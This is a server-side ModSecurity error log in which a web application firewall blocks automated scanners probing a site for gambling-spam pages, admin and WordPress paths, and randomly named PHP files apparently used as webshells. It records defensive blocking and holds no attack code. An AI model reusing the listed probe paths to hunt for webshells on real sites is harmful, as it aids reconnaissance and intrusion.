[Sun Apr 12 04:52:24.847438 2026] [:error] [pid 60280:tid 60292] [client 81.167.26.57:7165] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adq0iHBlLnDOYuIykkjONQAAAco"]
[Sun Apr 12 04:52:27.376566 2026] [:error] [pid 25328:tid 25366] [client 81.167.26.57:18796] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adq0i8xUaQZxT-e0YsDGFQAAAEI"]
[Sun Apr 12 04:52:30.057679 2026] [:error] [pid 25328:tid 25367] [client 81.167.26.57:4875] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adq0jsxUaQZxT-e0YsDGIAAAAEM"]
[Sun Apr 12 04:52:32.547146 2026] [:error] [pid 25328:tid 25401] [client 81.167.26.57:37814] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adq0kMxUaQZxT-e0YsDGKQAAAFU"]
[Sun Apr 12 04:52:35.049956 2026] [:error] [pid 25437:tid 25460] [client 81.167.26.57:38785] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adq0k3f97wYZje1ep_NDqAAAANU"]
[Sun Apr 12 04:52:37.675155 2026] [:error] [pid 26600:tid 26638] [client 81.167.26.57:39885] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adq0le1YwAZiXhQKLYpoigAAAYk"]
[Sun Apr 12 04:52:40.170204 2026] [:error] [pid 60280:tid 60291] [client 81.167.26.57:57489] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adq0mHBlLnDOYuIykkjOPQAAAck"]
[Sun Apr 12 04:52:42.698806 2026] [:error] [pid 25328:tid 25385] [client 81.167.26.57:49365] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adq0msxUaQZxT-e0YsDGNwAAAE4"]
[Sun Apr 12 04:52:45.375424 2026] [:error] [pid 25329:tid 25392] [client 81.167.26.57:46632] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adq0nWdcIYsS8Iyaj10lMQAAAIk"]
[Sun Apr 12 04:52:48.031528 2026] [:error] [pid 25328:tid 25364] [client 81.167.26.57:16180] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adq0oMxUaQZxT-e0YsDGPwAAAEA"]
[Sun Apr 12 04:52:50.661999 2026] [:error] [pid 60280:tid 60302] [client 81.167.26.57:55097] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adq0onBlLnDOYuIykkjORAAAAdQ"]
[Sun Apr 12 04:52:53.285630 2026] [:error] [pid 26567:tid 26569] [client 81.167.26.57:31864] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adq0pXhRpg6ptWFyFx3r3wAAAQA"]
[Sun Apr 12 04:52:55.950274 2026] [:error] [pid 26567:tid 26583] [client 81.167.26.57:8071] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adq0p3hRpg6ptWFyFx3r6wAAAQ4"]
[Sun Apr 12 04:52:58.474717 2026] [:error] [pid 60280:tid 60306] [client 81.167.26.57:13691] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adq0qnBlLnDOYuIykkjORgAAAdg"]
[Sun Apr 12 04:53:00.993426 2026] [:error] [pid 26599:tid 26620] [client 81.167.26.57:37486] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adq0rHG89LXoQbk_rwAsAQAAAVI"]
[Sun Apr 12 04:53:03.672544 2026] [:error] [pid 25437:tid 25450] [client 81.167.26.57:13191] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adq0r3f97wYZje1ep_ND4QAAAMs"]
[Sun Apr 12 05:54:55.070810 2026] [:error] [pid 60280:tid 60294] [client 62.197.152.86:50706] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adrDL3BlLnDOYuIykkjsygAAAcw"]
[Sun Apr 12 05:54:55.697769 2026] [:error] [pid 60280:tid 60291] [client 62.197.152.86:50310] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adrDL3BlLnDOYuIykkjs3AAAAck"]
[Sun Apr 12 05:54:56.305676 2026] [:error] [pid 25437:tid 25447] [client 62.197.152.86:50534] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adrDMHf97wYZje1ep_NXGAAAAMg"]
[Sun Apr 12 05:54:56.915170 2026] [:error] [pid 25329:tid 25399] [client 62.197.152.86:50768] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adrDMGdcIYsS8Iyaj101TwAAAI0"]
[Sun Apr 12 05:54:57.543425 2026] [:error] [pid 60280:tid 60296] [client 62.197.152.86:50990] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "adrDMXBlLnDOYuIykkjs8QAAAc4"]
[Sun Apr 12 05:55:01.714513 2026] [:error] [pid 25328:tid 25401] [client 62.197.152.86:51236] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adrDNcxUaQZxT-e0YsDpBQAAAFU"]
[Sun Apr 12 05:55:02.326873 2026] [:error] [pid 25328:tid 25373] [client 62.197.152.86:33362] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adrDNsxUaQZxT-e0YsDpDgAAAEg"]
[Sun Apr 12 05:55:03.000953 2026] [:error] [pid 60280:tid 60286] [client 62.197.152.86:33606] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adrDNnBlLnDOYuIykkjtOAAAAcQ"]
[Sun Apr 12 05:55:03.611405 2026] [:error] [pid 60280:tid 60303] [client 62.197.152.86:33758] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adrDN3BlLnDOYuIykkjtTQAAAdU"]
[Sun Apr 12 05:55:04.222349 2026] [:error] [pid 25437:tid 25454] [client 62.197.152.86:33878] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/"] [unique_id "adrDOHf97wYZje1ep_NXOwAAAM8"]
[Sun Apr 12 06:01:12.100273 2026] [:error] [pid 60280:tid 60298] [client 122.51.236.174:57254] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adrEqHBlLnDOYuIykkjwcwAAAdA"]
[Sun Apr 12 06:41:50.584221 2026] [:error] [pid 25437:tid 25458] [client 20.220.147.82:52216] [client 20.220.147.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adrOLnf97wYZje1ep_NrrQAAANM"]
[Sun Apr 12 06:41:51.411908 2026] [:error] [pid 25437:tid 25441] [client 20.220.147.82:52097] [client 20.220.147.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adrOL3f97wYZje1ep_NrtgAAAMI"]
[Sun Apr 12 06:41:51.978037 2026] [:error] [pid 26599:tid 26615] [client 20.220.147.82:52171] [client 20.220.147.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adrOL3G89LXoQbk_rwBNtwAAAU0"]
[Sun Apr 12 06:41:52.517719 2026] [:error] [pid 26600:tid 26650] [client 20.220.147.82:52173] [client 20.220.147.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adrOMO1YwAZiXhQKLYqFOwAAAZU"]
[Sun Apr 12 08:21:28.036326 2026] [:error] [pid 25328:tid 25372] [client 4.232.184.116:11202] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adrliMxUaQZxT-e0YsAiWQAAAEc"]
[Sun Apr 12 08:21:28.748977 2026] [:error] [pid 25329:tid 25390] [client 4.232.184.116:11236] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adrliGdcIYsS8Iyaj11duQAAAIg"]
[Sun Apr 12 08:21:29.259113 2026] [:error] [pid 26567:tid 26580] [client 4.232.184.116:11139] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adrliXhRpg6ptWFyFx0r0wAAAQs"]
[Sun Apr 12 08:21:29.946527 2026] [:error] [pid 26567:tid 26592] [client 4.232.184.116:11232] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cdn3.php"] [unique_id "adrliXhRpg6ptWFyFx0r1wAAARc"]
[Sun Apr 12 08:21:31.005461 2026] [:error] [pid 60280:tid 60282] [client 4.232.184.116:11143] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrli3BlLnDOYuIykkgiLAAAAcA"]
[Sun Apr 12 08:21:31.649952 2026] [:error] [pid 25329:tid 25397] [client 4.232.184.116:11141] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrli2dcIYsS8Iyaj11dvQAAAIw"]
[Sun Apr 12 08:21:34.196229 2026] [:error] [pid 26600:tid 26648] [client 4.232.184.116:11243] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrlju1YwAZiXhQKLYqbqAAAAZM"]
[Sun Apr 12 08:21:35.473824 2026] [:error] [pid 26600:tid 26640] [client 4.232.184.116:11214] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrlj-1YwAZiXhQKLYqbrwAAAYs"]
[Sun Apr 12 08:21:36.460908 2026] [:error] [pid 26599:tid 26603] [client 4.232.184.116:11225] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "adrlkHG89LXoQbk_rwByEAAAAUE"]
[Sun Apr 12 08:21:37.237800 2026] [:error] [pid 25327:tid 25336] [client 4.232.184.116:11248] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "adrlkS6h2tZEVJo9JFJmCAAAAAA"]
[Sun Apr 12 08:21:38.053762 2026] [:error] [pid 25437:tid 25461] [client 4.232.184.116:11218] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "adrlknf97wYZje1ep_N9PAAAANY"]
[Sun Apr 12 08:21:38.830151 2026] [:error] [pid 26600:tid 26643] [client 4.232.184.116:11254] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "adrlku1YwAZiXhQKLYqb1wAAAY4"]
[Sun Apr 12 08:21:39.417049 2026] [:error] [pid 26600:tid 26652] [client 4.232.184.116:11234] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adrlk-1YwAZiXhQKLYqb3gAAAZc"]
[Sun Apr 12 08:21:40.360493 2026] [:error] [pid 60280:tid 60285] [client 4.232.184.116:11241] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adrllHBlLnDOYuIykkgiNgAAAcM"]
[Sun Apr 12 08:21:41.756320 2026] [:error] [pid 60280:tid 60284] [client 4.232.184.116:11223] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adrllXBlLnDOYuIykkgiNwAAAcI"]
[Sun Apr 12 08:21:42.811386 2026] [:error] [pid 25328:tid 25366] [client 4.232.184.116:11156] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adrllsxUaQZxT-e0YsAibwAAAEI"]
[Sun Apr 12 08:21:43.695911 2026] [:error] [pid 26567:tid 26589] [client 4.232.184.116:11261] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adrll3hRpg6ptWFyFx0r8wAAARQ"]
[Sun Apr 12 08:21:44.260407 2026] [:error] [pid 26599:tid 26626] [client 4.232.184.116:11162] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adrlmHG89LXoQbk_rwByIQAAAVg"]
[Sun Apr 12 08:21:44.838688 2026] [:error] [pid 25327:tid 25356] [client 4.232.184.116:11221] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adrlmC6h2tZEVJo9JFJmEwAAABQ"]
[Sun Apr 12 08:21:45.352229 2026] [:error] [pid 25327:tid 25341] [client 4.232.184.116:11240] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/161dfd072f.php"] [unique_id "adrlmS6h2tZEVJo9JFJmFwAAAAU"]
[Sun Apr 12 08:21:46.125758 2026] [:error] [pid 25329:tid 25406] [client 4.232.184.116:11251] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "adrlmmdcIYsS8Iyaj11dyAAAAJE"]
[Sun Apr 12 08:21:46.633807 2026] [:error] [pid 26600:tid 26630] [client 4.232.184.116:11200] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "adrlmu1YwAZiXhQKLYqb9wAAAYE"]
[Sun Apr 12 08:21:47.204635 2026] [:error] [pid 25327:tid 25357] [client 4.232.184.116:11252] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "adrlmy6h2tZEVJo9JFJmGwAAABU"]
[Sun Apr 12 08:21:47.841530 2026] [:error] [pid 25437:tid 25452] [client 4.232.184.116:11260] [client 4.232.184.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "adrlm3f97wYZje1ep_N9QQAAAM0"]
